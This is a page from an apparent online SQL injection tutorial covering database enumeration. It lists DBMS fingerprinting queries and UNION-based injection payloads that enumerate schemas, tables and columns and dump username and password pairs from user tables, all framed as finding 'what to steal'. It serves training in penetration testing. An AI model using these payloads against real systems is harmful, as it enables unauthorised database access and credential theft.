SQL Injection: The Complete Practical Guide

Examining the Database with SQL Injection

Enumerate a database over SQL injection: fingerprint the DBMS and version, list schemas, tables and columns via information_schema, and dump credentials, step by step.

Published

Once you can read data, the next job is mapping the database so you know what to steal. Enumeration is the same loop on every engine: fingerprint, list tables, list columns, dump rows. Only the syntax changes.

Fingerprinting the DBMS and version

Every later query depends on which database you are in, so identify it first:

MySQL / MSSQL:  SELECT @@version
MySQL / Postgres: SELECT version()
Oracle:         SELECT banner FROM v$version
SQLite:         SELECT sqlite_version()

Whichever returns a value cleanly tells you the engine. Behavioral tells help too: # comments and CONCAT() point at MySQL, || concatenation and pg_sleep at PostgreSQL, + concatenation and WAITFOR at MSSQL, a required FROM dual at Oracle.

Listing databases and schemas

MySQL / Postgres / MSSQL:  SELECT schema_name FROM information_schema.schemata
MySQL:                     SELECT DISTINCT table_schema FROM information_schema.tables

This shows the other databases on the server, which often hold the interesting data.

Listing tables and columns via information_schema

information_schema is the standard catalog on MySQL, PostgreSQL, and MSSQL. List tables, then the columns of a target table:

' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

Oracle has no information_schema, so use its data dictionary instead:

SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Oracle folds unquoted identifiers to upper case, so match table names in upper case.

Targeting credential tables

Look for the obvious names (users, accounts, members, admin) and columns (username, password, password_hash, email, role, api_key). The column list tells you exactly what to select next.

Dumping rows efficiently

Pack several fields into one printable column so each request yields a full record:

MySQL:              ' UNION SELECT concat(username,0x3a,password),NULL FROM users-- -
Postgres / Oracle:  ' UNION SELECT username||':'||password,NULL FROM users-- -

If you only have a blind channel, the same queries wrap into boolean or time conditions, one character at a time, as in blind SQL injection.

Map a real database on a free live target, then dump what you find.

← Back to SQL Injection: The Complete Practical Guide